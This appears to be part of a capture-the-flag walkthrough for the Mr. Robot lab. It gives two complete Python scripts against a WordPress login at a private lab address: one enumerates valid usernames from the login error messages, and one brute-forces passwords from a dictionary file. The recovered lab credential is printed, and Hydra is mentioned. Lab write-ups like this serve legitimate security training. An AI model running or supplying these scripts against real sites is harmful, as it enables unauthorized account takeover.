Run the script to get the correct username/usernames
The script is designed to identify valid usernames on a WordPress site by attempting to log in with a known invalid password. It uses the requests library to send HTTP POST requests to the WordPress login page and checks the response to determine if the username is valid or not.
importrequests# Define the target URL and headersurl="http://192.168.1.226/wp-login.php"# Read the dictionary filewithopen("fsocity_sorted_unique.dic","r")asfile:words=[line.strip()forlineinfile]# Function to perform the login attemptdefattempt_login(session,username,password):payload={'log':username,'pwd':password,'wp-submit':'Log In','redirect_to':'/wp-admin/','testcookie':'1'}response=session.post(url,data=payload)returnresponse# Start a sessionsession=requests.Session()valid_usernames=[]# Iterate over each word to check for valid usernamesforwordinwords:try:response=attempt_login(session,word,'invalidpassword')response_text=response.textif"Invalid username"inresponse_text:print(f"Invalid username: {word}")elif"The password you entered for the username"inresponse_text:print(f"Valid username found: {word}")valid_usernames.append(word)else:print(f"Unexpected response for username: {word}")print(response_text[:200])# Print the first 200 characters of the response for debuggingexceptExceptionase:print(f"Error processing username: {word}")print(f"Exception: {str(e)}")# Save valid usernames to a filewithopen("valid_usernames.txt","w")asfile:forusernameinvalid_usernames:file.write(username+"\n")print("Valid usernames saved to valid_usernames.txt")
The script prints a message indicating that the valid usernames have been saved to the file.
The script attempts to brute-force the WordPress login by trying each combination of known valid usernames and potential passwords. It uses the requests library to send HTTP POST requests and checks the response to determine if the login attempt was successful or not. If a successful login is found, the script prints the successful username and password combination and stops further attempts for that username
importrequests# Import the requests library for making HTTP requests# Define the target URL for the WordPress login pageurl="http://192.168.1.226/wp-login.php"# Define a list of known valid usernamesvalid_usernames=["ELLIOT","Elliot","elliot"]# Read the dictionary file containing potential passwordswithopen("fsocity_sorted_unique.dic","r")asfile:passwords=[line.strip()forlineinfile]# Strip any leading/trailing whitespace from each line and store in a list# Function to perform the login attemptdefattempt_login(session,username,password):# Create a dictionary to hold the form data for the login attemptpayload={'log':username,# The username'pwd':password,# The password'wp-submit':'Log In',# The value of the submit button'redirect_to':'/wp-admin/',# The URL to redirect to after login'testcookie':'1'# A value indicating whether cookies are enabled}# Send a POST request to the login URL with the form dataresponse=session.post(url,data=payload)returnresponse# Return the response object# Start a new session to maintain cookies and certain parameters across requestssession=requests.Session()# Iterate over each valid username and password combinationforusernameinvalid_usernames:forpasswordinpasswords:# Attempt to log in with the current username and passwordresponse=attempt_login(session,username,password)# Check if the response text does not contain the message indicating an incorrect password for the usernameif"The password you entered for the username"notinresponse.text:# If the message is not found, it means the login attempt was successfulprint(f"Success with username: {username} and password: {password}")break# Exit the inner loop once a successful login is foundelse:# If the message is found, it means the password was incorrect for the given usernameprint(f"Failed with username: {username} and password: {password}")
Video password
Success with username: elliot and password: ER28-0652
Brute-forcing a WordPress login involves two main steps: identifying valid usernames and then brute-forcing passwords for those usernames. Hydra, a powerful and versatile password-cracking tool, can be used to perform these tasks efficiently.